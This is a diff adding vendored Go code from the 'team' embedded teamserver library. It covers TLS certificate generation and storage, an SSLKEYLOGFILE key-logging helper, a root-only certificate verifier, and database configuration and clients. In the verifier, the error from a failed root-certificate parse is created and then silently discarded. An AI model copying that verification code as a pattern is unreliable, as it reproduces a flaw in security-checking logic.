+ return c.GetCertificate(caType, ECCKey, commonName)
+}
+
+// GetRSACertificate - Get an RSA certificate.
+func (c *Manager) GetRSACertificate(caType string, commonName string) ([]byte, []byte, error) {
+ return c.GetCertificate(caType, RSAKey, commonName)
+}
+
+// GetCertificate - Get the PEM encoded certificate & key for a host.
+func (c *Manager) GetCertificate(caType string, keyType string, commonName string) ([]byte, []byte, error) {
+ if keyType != ECCKey && keyType != RSAKey {
+ return nil, nil, fmt.Errorf("Invalid key type '%s'", keyType)
+ }
+
+ c.log.Infof("Getting certificate ca type = %s, cn = '%s'", caType, commonName)
+
+ certModel := db.Certificate{}
+ result := c.db().Where(&db.Certificate{
+ CAType: caType,
+ KeyType: keyType,
+ CommonName: commonName,
+ }).First(&certModel)
+
+ if errors.Is(result.Error, db.ErrRecordNotFound) {
+ return nil, nil, ErrCertDoesNotExist
+ }
+
+ if result.Error != nil {
+ return nil, nil, result.Error
+ }
+
+ return []byte(certModel.CertificatePEM), []byte(certModel.PrivateKeyPEM), nil
+}
+
+// RemoveCertificate - Remove a certificate from the cert store.
+func (c *Manager) RemoveCertificate(caType string, keyType string, commonName string) error {
+ if keyType != ECCKey && keyType != RSAKey {
+ return fmt.Errorf("Invalid key type '%s'", keyType)
+ }
+
+ c.log.Infof("Deleting certificate for cn = '%s'", commonName)
+
+ err := c.db().Where(&db.Certificate{
+ CAType: caType,
+ KeyType: keyType,
+ CommonName: commonName,
+ }).Delete(&db.Certificate{}).Error
+
+ return err
+}
+
+// --------------------------------
+// Generic Certificate Functions
+// --------------------------------
+
+// GenerateECCCertificate - Generate a TLS certificate with the given parameters
+// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc.
+// Returns two strings `cert` and `key` (PEM Encoded).
+func (c *Manager) GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
+ c.log.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName)
+
+ var privateKey interface{}
+ var err error
+
+ // Generate private key
+ curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
+ curve := curves[randomInt(len(curves))]
+
+ privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
+ if err != nil {
+ c.log.Fatalf("Failed to generate private key: %s", err)
+ }
+
+ subject := pkix.Name{
+ CommonName: commonName,
+ }
+
+ return c.generateCertificate(caType, subject, isCA, isClient, privateKey)
+}
+
+// GenerateRSACertificate - Generates an RSA Certificate.
+func (c *Manager) GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
+ c.log.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName)
+
+ var privateKey interface{}
+ var err error
+
+ // Generate private key
+ privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
+ if err != nil {
+ c.log.Fatalf("Failed to generate private key: %s", err)
+ }
+
+ subject := pkix.Name{
+ CommonName: commonName,
+ }
+
+ return c.generateCertificate(caType, subject, isCA, isClient, privateKey)
+}
+
+func (c *Manager) generateCertificate(caType string, subject pkix.Name, isCA bool, isClient bool, privateKey interface{}) ([]byte, []byte) {
+ // Valid times, subtract random days from .Now()
+ notBefore := time.Now()
+ days := randomInt(daysInYear) * -1 // Within -1 year
+ notBefore = notBefore.AddDate(0, 0, days)
+ notAfter := notBefore.Add(randomValidFor())
+ c.log.Debugf("Valid from %v to %v", notBefore, notAfter)
+
+ // Serial number
+ serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), serialNumberLen)
+ serialNumber, _ := rand.Int(rand.Reader, serialNumberLimit)
+ c.log.Debugf("Serial Number: %d", serialNumber)
+
+ keyUsage := x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature
+ var extKeyUsage []x509.ExtKeyUsage
+
+ switch {
+ case isCA:
+ c.log.Debugf("Authority certificate")
+
+ keyUsage = x509.KeyUsageCertSign | x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature
+ extKeyUsage = []x509.ExtKeyUsage{
+ x509.ExtKeyUsageServerAuth,
+ x509.ExtKeyUsageClientAuth,
+ }
+ case isClient:
+ c.log.Debugf("Client authentication certificate")
+
+ extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth}
+ default:
+ c.log.Debugf("Server authentication certificate")
+
+ extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}
+ }
+
+ c.log.Debugf("ExtKeyUsage = %v", extKeyUsage)
+
+ // Certificate template
+ template := x509.Certificate{
+ SerialNumber: serialNumber,
+ Subject: subject,
+ NotBefore: notBefore,
+ NotAfter: notAfter,
+ KeyUsage: keyUsage,
+ ExtKeyUsage: extKeyUsage,
+ BasicConstraintsValid: isCA,
+ }
+
+ if !isClient {
+ // Host or IP address
+ if ip := net.ParseIP(subject.CommonName); ip != nil {
+ c.log.Debugf("Certificate authenticates IP address: %v", ip)
+ template.IPAddresses = append(template.IPAddresses, ip)
+ } else {
+ c.log.Debugf("Certificate authenticates host: %v", subject.CommonName)
+ template.DNSNames = append(template.DNSNames, subject.CommonName)
+ }
+ } else {
+ c.log.Debugf("Client certificate authenticates CN: %v", subject.CommonName)
+ }
+
+ // Sign certificate or self-sign if CA
+ var certErr error
+ var derBytes []byte
+
+ if isCA {
+ c.log.Debugf("Certificate is an AUTHORITY")
+
+ template.IsCA = true
+ template.KeyUsage |= x509.KeyUsageCertSign
+ derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
+ } else {
+ caCert, caKey, err := c.getCA(caType) // Sign the new certificate with our CA
+ if err != nil {
+ c.log.Fatalf("Invalid ca type (%s): %s", caType, err)
+ }
+ derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
+ }
+
+ if certErr != nil {
+ // We maybe don't want this to be fatal, but it should basically never happen afaik
+ c.log.Fatalf("Failed to create certificate: %s", certErr)
+ }
+
+ // Encode certificate and key
+ certOut := bytes.NewBuffer([]byte{})
+ pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
+
+ keyOut := bytes.NewBuffer([]byte{})
+ pem.Encode(keyOut, c.pemBlockForKey(privateKey))
+
+ return certOut.Bytes(), keyOut.Bytes()
+}
+
+func (c *Manager) saveCertificate(caType string, keyType string, commonName string, cert []byte, key []byte) error {
+ if keyType != ECCKey && keyType != RSAKey {
+ return fmt.Errorf("Invalid key type '%s'", keyType)
+ }
+
+ c.log.Infof("Saving certificate for cn = '%s'", commonName)
+
+ certModel := &db.Certificate{
+ CommonName: commonName,
+ CAType: caType,
+ KeyType: keyType,
+ CertificatePEM: string(cert),
+ PrivateKeyPEM: string(key),
+ }
+
+ result := c.db().Create(&certModel)
+
+ return result.Error
+}
+
+// getCertDir returns the directory (and makes it if needed) for writing certificate backups.
+func (c *Manager) getCertDir() string {
+ rootDir := c.appDir
+ certDir := filepath.Join(rootDir, "certs")
+
+ err := c.fs.MkdirAll(certDir, assets.DirPerm)
+ if err != nil {
+ c.log.Fatalf("Failed to create cert dir: %s", err)
+ }
+
+ return certDir
+}
+
+func (c *Manager) pemBlockForKey(priv interface{}) *pem.Block {
+ switch key := priv.(type) {
+ case *rsa.PrivateKey:
+ data := x509.MarshalPKCS1PrivateKey(key)
+ return &pem.Block{Type: "RSA PRIVATE KEY", Bytes: data}
+ case *ecdsa.PrivateKey:
+ data, err := x509.MarshalECPrivateKey(key)
+ if err != nil {
+ c.log.Fatalf("Unable to marshal ECDSA private key: %v", err)
+ }
+
+ return &pem.Block{Type: "EC PRIVATE KEY", Bytes: data}
+ default:
+ return nil
+ }
+}
+
+func publicKey(priv interface{}) interface{} {
+ switch k := priv.(type) {
+ case *rsa.PrivateKey:
+ return &k.PublicKey
+ case *ecdsa.PrivateKey:
+ return &k.PublicKey
+ default:
+ return nil
+ }
+}
+
+func randomInt(max int) int {
+ intLen := 4
+ buf := make([]byte, intLen)
+ rand.Read(buf)
+ i := binary.LittleEndian.Uint32(buf)
+
+ return int(i) % max
+}
+
+func randomValidFor() time.Duration {
+ validFor := validForYears * (daysInYear * hoursInDay * time.Hour)
+
+ switch insecureRand.Intn(2) {
+ case 0:
+ validFor = (validForYears - 1) * (daysInYear * hoursInDay * time.Hour)
+ case 1:
+ validFor = validForYears * (daysInYear * hoursInDay * time.Hour)
+ }
+
+ return validFor
+}
+
+func rsaKeySize() int {
+ rsaKeySizes := []int{4096, 2048}
+ return rsaKeySizes[randomInt(len(rsaKeySizes))]
+}
diff --git a/vendor/github.com/reeflective/team/internal/certs/tls.go b/vendor/github.com/reeflective/team/internal/certs/tls.go
new file mode 100644
index 0000000000..9064745ba2
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/certs/tls.go
@@ -0,0 +1,88 @@
+package certs
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "crypto/x509"
+ "fmt"
+ "log"
+ "os"
+
+ "github.com/reeflective/team/internal/assets"
+)
+
+const (
+ // DefaultPort is the default team.Server listening port.
+ // Should be 31415, but... go to hell with your endless limits.
+ DefaultPort = 31416
+)
+
+// OpenTLSKeyLogFile returns an open file to the TLS keys log file,
+// if the environment variable SSLKEYLOGFILE is defined.
+func (c *Manager) OpenTLSKeyLogFile() *os.File {
+ keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
+ if present {
+ keyFile, err := os.OpenFile(keyFilePath, assets.FileWriteOpenMode, assets.FileReadPerm)
+ if err != nil {
+ c.log.Errorf("Failed to open TLS key file %v", err)
+ return nil
+ }
+
+ c.log.Warnf("NOTICE: TLS Keys logged to '%s'\n", keyFilePath)
+
+ return keyFile
+ }
+
+ return nil
+}
+
+// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
+// we have to disable all of the certificate validation and re-implement everything.
+// https://github.com/golang/go/issues/21971
+func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
+ roots := x509.NewCertPool()
+
+ ok := roots.AppendCertsFromPEM([]byte(caCertificate))
+ if !ok {
+ fmt.Errorf("Failed to parse root certificate")
+ }
+
+ cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
+ if err != nil {
+ log.Printf("Failed to parse certificate: " + err.Error())
+ return err
+ }
+
+ // Basically we only care if the certificate was signed by our authority
+ // Go selects sensible defaults for time and EKU, basically we're only
+ // skipping the hostname check, I think?
+ options := x509.VerifyOptions{
+ Roots: roots,
+ }
+
+ if options.Roots == nil {
+ return fmt.Errorf("Certificate root is nil")
+ }
+
+ if _, err := cert.Verify(options); err != nil {
+ return fmt.Errorf("Failed to verify certificate: " + err.Error())
+ }
+
+ return nil
+}
diff --git a/vendor/github.com/reeflective/team/internal/certs/users.go b/vendor/github.com/reeflective/team/internal/certs/users.go
new file mode 100644
index 0000000000..b0fed17776
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/certs/users.go
@@ -0,0 +1,100 @@
+package certs
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "crypto/x509"
+ "encoding/pem"
+ "fmt"
+
+ "github.com/reeflective/team/internal/db"
+)
+
+const (
+ // userCA - Directory containing user certificates.
+ userCA = "user"
+
+ clientNamespace = "client" // User clients
+ serverNamespace = "server" // User servers
+ userCertHostname = "teamusers" // Hostname used on certificate
+)
+
+// UserClientGenerateCertificate - Generate a certificate signed with a given CA.
+func (c *Manager) UserClientGenerateCertificate(user string) ([]byte, []byte, error) {
+ cert, key := c.GenerateECCCertificate(userCA, user, false, true)
+ err := c.saveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, user), cert, key)
+
+ return cert, key, err
+}
+
+// UserClientGetCertificate - Helper function to fetch a client cert.
+func (c *Manager) UserClientGetCertificate(user string) ([]byte, []byte, error) {
+ return c.GetECCCertificate(userCA, fmt.Sprintf("%s.%s", clientNamespace, user))
+}
+
+// UserClientRemoveCertificate - Helper function to remove a client cert.
+func (c *Manager) UserClientRemoveCertificate(user string) error {
+ return c.RemoveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, user))
+}
+
+// UserServerGetCertificate - Helper function to fetch a server cert.
+func (c *Manager) UserServerGetCertificate() ([]byte, []byte, error) {
+ return c.GetECCCertificate(userCA, fmt.Sprintf("%s.%s", serverNamespace, userCertHostname))
+}
+
+// UserServerGenerateCertificate - Generate a certificate signed with a given CA.
+func (c *Manager) UserServerGenerateCertificate() ([]byte, []byte, error) {
+ cert, key := c.GenerateECCCertificate(userCA, userCertHostname, false, false)
+ err := c.saveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, userCertHostname), cert, key)
+
+ return cert, key, err
+}
+
+// UserClientListCertificates - Get all client certificates.
+func (c *Manager) UserClientListCertificates() []*x509.Certificate {
+ userCerts := []*db.Certificate{}
+
+ result := c.db().Where(&db.Certificate{CAType: userCA}).Find(&userCerts)
+ if result.Error != nil {
+ c.log.Error(result.Error)
+ return []*x509.Certificate{}
+ }
+
+ c.log.Infof("Found %d user certs ...", len(userCerts))
+
+ certs := []*x509.Certificate{}
+
+ for _, user := range userCerts {
+ block, _ := pem.Decode([]byte(user.CertificatePEM))
+ if block == nil {
+ c.log.Warn("failed to parse certificate PEM")
+ continue
+ }
+
+ cert, err := x509.ParseCertificate(block.Bytes)
+ if err != nil {
+ c.log.Warnf("failed to parse x.509 certificate %v", err)
+ continue
+ }
+
+ certs = append(certs, cert)
+ }
+
+ return certs
+}
diff --git a/vendor/github.com/reeflective/team/internal/command/command.go b/vendor/github.com/reeflective/team/internal/command/command.go
new file mode 100644
index 0000000000..9718ae7e41
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/command/command.go
@@ -0,0 +1,114 @@
+package command
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "github.com/jedib0t/go-pretty/v6/table"
+ "github.com/jedib0t/go-pretty/v6/text"
+ "github.com/spf13/cobra"
+)
+
+type (
+ // CobraRunnerE is a cobra runner returning an error.
+ CobraRunnerE func(*cobra.Command, []string) error
+ // CobraRunner is a cobra runner returning nothing.
+ CobraRunner func(*cobra.Command, []string)
+)
+
+const (
+ // ClientConfigExt is the client remote server config file extension.
+ ClientConfigExt = "teamclient.cfg"
+ // ServerConfigExt is the server backend config file extension.
+ ServerConfigExt = "teamserver.json"
+)
+
+const (
+ // TeamServerGroup is the group of all server/client control commands.
+ TeamServerGroup = "teamserver control"
+ // UserManagementGroup is the group to manage teamserver users.
+ UserManagementGroup = "user management"
+)
+
+// Colors / effects.
+const (
+ // ANSI Colors.
+ Normal = "\033[0m"
+ Black = "\033[30m"
+ Red = "\033[31m"
+ Green = "\033[32m"
+ Orange = "\033[33m"
+ Blue = "\033[34m"
+ Purple = "\033[35m"
+ Cyan = "\033[36m"
+ Gray = "\033[37m"
+ Bold = "\033[1m"
+ Clearln = "\r\x1b[2K"
+ UpN = "\033[%dA"
+ DownN = "\033[%dB"
+ Underline = "\033[4m"
+
+ // Info - Display colorful information.
+ Info = Cyan + "[*] " + Normal
+ // Warn - warn a user.
+ Warn = Red + "[!] " + Normal
+ // Debugl - Display debugl information.
+ Debugl = Purple + "[-] " + Normal
+)
+
+// TableStyle is a default table style for users and listeners.
+var TableStyle = table.Style{
+ Name: "TeamServerDefault",
+ Box: table.BoxStyle{
+ BottomLeft: " ",
+ BottomRight: " ",
+ BottomSeparator: " ",
+ Left: " ",
+ LeftSeparator: " ",
+ MiddleHorizontal: "=",
+ MiddleSeparator: " ",
+ MiddleVertical: " ",
+ PaddingLeft: " ",
+ PaddingRight: " ",
+ Right: " ",
+ RightSeparator: " ",
+ TopLeft: " ",
+ TopRight: " ",
+ TopSeparator: " ",
+ UnfinishedRow: "~~",
+ },
+ Color: table.ColorOptions{
+ IndexColumn: text.Colors{},
+ Footer: text.Colors{},
+ Header: text.Colors{},
+ Row: text.Colors{},
+ RowAlternate: text.Colors{},
+ },
+ Format: table.FormatOptions{
+ Footer: text.FormatDefault,
+ Header: text.FormatTitle,
+ Row: text.FormatDefault,
+ },
+ Options: table.Options{
+ DrawBorder: false,
+ SeparateColumns: true,
+ SeparateFooter: false,
+ SeparateHeader: true,
+ SeparateRows: false,
+ },
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/certificates.go b/vendor/github.com/reeflective/team/internal/db/certificates.go
new file mode 100644
index 0000000000..adb9a2721e
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/certificates.go
@@ -0,0 +1,47 @@
+package db
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "time"
+
+ "github.com/gofrs/uuid"
+ "gorm.io/gorm"
+)
+
+// Certificate - Certificate database model.
+type Certificate struct {
+ ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
+ CreatedAt time.Time `gorm:"->;<-:create;"`
+ CommonName string
+ CAType string
+ KeyType string
+ CertificatePEM string
+ PrivateKeyPEM string
+}
+
+// BeforeCreate - GORM hook to automatically set values.
+func (c *Certificate) BeforeCreate(tx *gorm.DB) (err error) {
+ c.ID, err = uuid.NewV4()
+ if err != nil {
+ return err
+ }
+ c.CreatedAt = time.Now()
+ return nil
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/config.go b/vendor/github.com/reeflective/team/internal/db/config.go
new file mode 100644
index 0000000000..6b95e61591
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/config.go
@@ -0,0 +1,93 @@
+package db
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "net/url"
+)
+
+const (
+ // Sqlite - SQLite protocol.
+ Sqlite = "sqlite3"
+ // Postgres - Postgresql protocol.
+ Postgres = "postgresql"
+ // MySQL - MySQL protocol.
+ MySQL = "mysql"
+)
+
+// Config - Server database configuration.
+type Config struct {
+ Dialect string `json:"dialect"`
+ Database string `json:"database"`
+ Username string `json:"username"`
+ Password string `json:"password"`
+ Host string `json:"host"`
+ Port uint16 `json:"port"`
+
+ Params map[string]string `json:"params"`
+
+ MaxIdleConns int `json:"max_idle_conns"`
+ MaxOpenConns int `json:"max_open_conns"`
+
+ LogLevel string `json:"log_level"`
+}
+
+// DSN - Get the db connections string
+// https://github.com/go-sql-driver/mysql#examples
+func (c *Config) DSN() (string, error) {
+ switch c.Dialect {
+ case Sqlite:
+ filePath := c.Database
+ params := encodeParams(c.Params)
+
+ return fmt.Sprintf("file:%s?%s", filePath, params), nil
+
+ case MySQL:
+ user := url.QueryEscape(c.Username)
+ password := url.QueryEscape(c.Password)
+ db := url.QueryEscape(c.Database)
+ host := fmt.Sprintf("%s:%d", url.QueryEscape(c.Host), c.Port)
+ params := encodeParams(c.Params)
+
+ return fmt.Sprintf("%s:%s@tcp(%s)/%s?%s", user, password, host, db, params), nil
+
+ case Postgres:
+ user := url.QueryEscape(c.Username)
+ password := url.QueryEscape(c.Password)
+ db := url.QueryEscape(c.Database)
+ host := url.QueryEscape(c.Host)
+ port := c.Port
+ params := encodeParams(c.Params)
+
+ return fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s %s", host, port, user, password, db, params), nil
+
+ default:
+ return "", ErrUnsupportedDialect
+ }
+}
+
+func encodeParams(rawParams map[string]string) string {
+ params := url.Values{}
+ for key, value := range rawParams {
+ params.Add(key, value)
+ }
+
+ return params.Encode()
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/sql-cgo.go b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go
new file mode 100644
index 0000000000..7c3dc6ff69
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go
@@ -0,0 +1,34 @@
+//go:build cgo_sqlite
+
+package db
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "gorm.io/driver/sqlite"
+ "gorm.io/gorm"
+ "gorm.io/gorm/logger"
+)
+
+func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) {
+ return gorm.Open(sqlite.Open(dsn), &gorm.Config{
+ PrepareStmt: true,
+ Logger: log,
+ })
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/sql-go.go b/vendor/github.com/reeflective/team/internal/db/sql-go.go
new file mode 100644
index 0000000000..302aa0f9f2
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/sql-go.go
@@ -0,0 +1,36 @@
+//go:build !(wasm_sqlite || cgo_sqlite)
+
+package db
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ // Embed the sqlite code into our teamserver.
+ _ "github.com/ncruces/go-sqlite3/embed"
+ "github.com/ncruces/go-sqlite3/gormlite"
+ "gorm.io/gorm"
+ "gorm.io/gorm/logger"
+)
+
+func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) {
+ return gorm.Open(gormlite.Open(dsn), &gorm.Config{
+ PrepareStmt: true,
+ Logger: log,
+ })
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/sql-wasm.go b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go
new file mode 100644
index 0000000000..213b48d9fa
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go
@@ -0,0 +1,41 @@
+//go:build wasm_sqlite
+
+package db
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ // Core code.
+ _ "github.com/ncruces/go-sqlite3"
+ // Driver code.
+ _ "github.com/ncruces/go-sqlite3/driver"
+ // Embedded SQLite instance.
+ _ "github.com/ncruces/go-sqlite3/embed"
+ "gorm.io/gorm"
+ "gorm.io/gorm/logger"
+
+ "github.com/reeflective/team/internal/db/wasmsqlite"
+)
+
+func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) {
+ return gorm.Open(wasmsqlite.Open(dsn), &gorm.Config{
+ PrepareStmt: true,
+ Logger: log,
+ })
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/sql.go b/vendor/github.com/reeflective/team/internal/db/sql.go
new file mode 100644
index 0000000000..6509086a46
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/sql.go
@@ -0,0 +1,134 @@
+package db
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "errors"
+ "fmt"
+ "time"
+
+ "github.com/sirupsen/logrus"
+ "gorm.io/driver/mysql"
+ "gorm.io/driver/postgres"
+ "gorm.io/gorm"
+ "gorm.io/gorm/logger"
+
+ "github.com/reeflective/team/internal/log"
+)
+
+const (
+ // SQLiteInMemoryHost is the default string used by SQLite
+ // as a host when ran in memory (string value is ":memory:").
+ SQLiteInMemoryHost = ":memory:"
+)
+
+var (
+ // ErrRecordNotFound - Record not found error.
+ ErrRecordNotFound = gorm.ErrRecordNotFound
+
+ // ErrUnsupportedDialect - An invalid dialect was specified.
+ ErrUnsupportedDialect = errors.New("Unknown/unsupported DB Dialect")
+)
+
+// NewClient initializes a database client connection to a backend specified in config.
+func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) {
+ var dbClient *gorm.DB
+
+ dsn, err := dbConfig.DSN()
+ if err != nil {
+ return nil, fmt.Errorf("Failed to marshal database DSN: %w", err)
+ }
+
+ // Logging middleware (queries)
+ dbLog := log.NewDatabase(dbLogger, dbConfig.LogLevel)
+ logDbDsn := fmt.Sprintf("%s (%s:%d)", dbConfig.Database, dbConfig.Host, dbConfig.Port)
+
+ switch dbConfig.Dialect {
+ case Sqlite:
+ dbLogger.Infof("Connecting to SQLite database %s", logDbDsn)
+
+ dbClient, err = sqliteClient(dsn, dbLog)
+ if err != nil {
+ return nil, fmt.Errorf("Database connection failed: %w", err)
+ }
+
+ case Postgres:
+ dbLogger.Infof("Connecting to PostgreSQL database %s", logDbDsn)
+
+ dbClient, err = postgresClient(dsn, dbLog)
+ if err != nil {
+ return nil, fmt.Errorf("Database connection failed: %w", err)
+ }
+
+ case MySQL:
+ dbLogger.Infof("Connecting to MySQL database %s", logDbDsn)
+
+ dbClient, err = mySQLClient(dsn, dbLog)
+ if err != nil {
+ return nil, fmt.Errorf("Database connection failed: %w", err)
+ }
+ default:
+ return nil, fmt.Errorf("%w: '%s'", ErrUnsupportedDialect, dbConfig.Dialect)
+ }
+
+ err = dbClient.AutoMigrate(Schema()...)
+ if err != nil {
+ dbLogger.Error(err)
+ }
+
+ // Get generic database object sql.DB to use its functions
+ sqlDB, err := dbClient.DB()
+ if err != nil {
+ dbLogger.Error(err)
+ }
+
+ // SetMaxIdleConns sets the maximum number of connections in the idle connection pool.
+ sqlDB.SetMaxIdleConns(dbConfig.MaxIdleConns)
+
+ // SetMaxOpenConns sets the maximum number of open connections to the database.
+ sqlDB.SetMaxOpenConns(dbConfig.MaxOpenConns)
+
+ // SetConnMaxLifetime sets the maximum amount of time a connection may be reused.
+ sqlDB.SetConnMaxLifetime(time.Hour)
+
+ return dbClient, nil
+}
+
+// Schema returns all objects which should be registered
+// to the teamserver database backend.
+func Schema() []any {
+ return []any{
+ &Certificate{},
+ &User{},
+ }
+}
+
+func postgresClient(dsn string, log logger.Interface) (*gorm.DB, error) {
+ return gorm.Open(postgres.Open(dsn), &gorm.Config{
+ PrepareStmt: true,
+ Logger: log,
+ })
+}
+
+func mySQLClient(dsn string, log logger.Interface) (*gorm.DB, error) {
+ return gorm.Open(mysql.Open(dsn), &gorm.Config{
+ PrepareStmt: true,
+ Logger: log,
+ })
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/user.go b/vendor/github.com/reeflective/team/internal/db/user.go
new file mode 100644
index 0000000000..de220b7b75
--- /dev/null
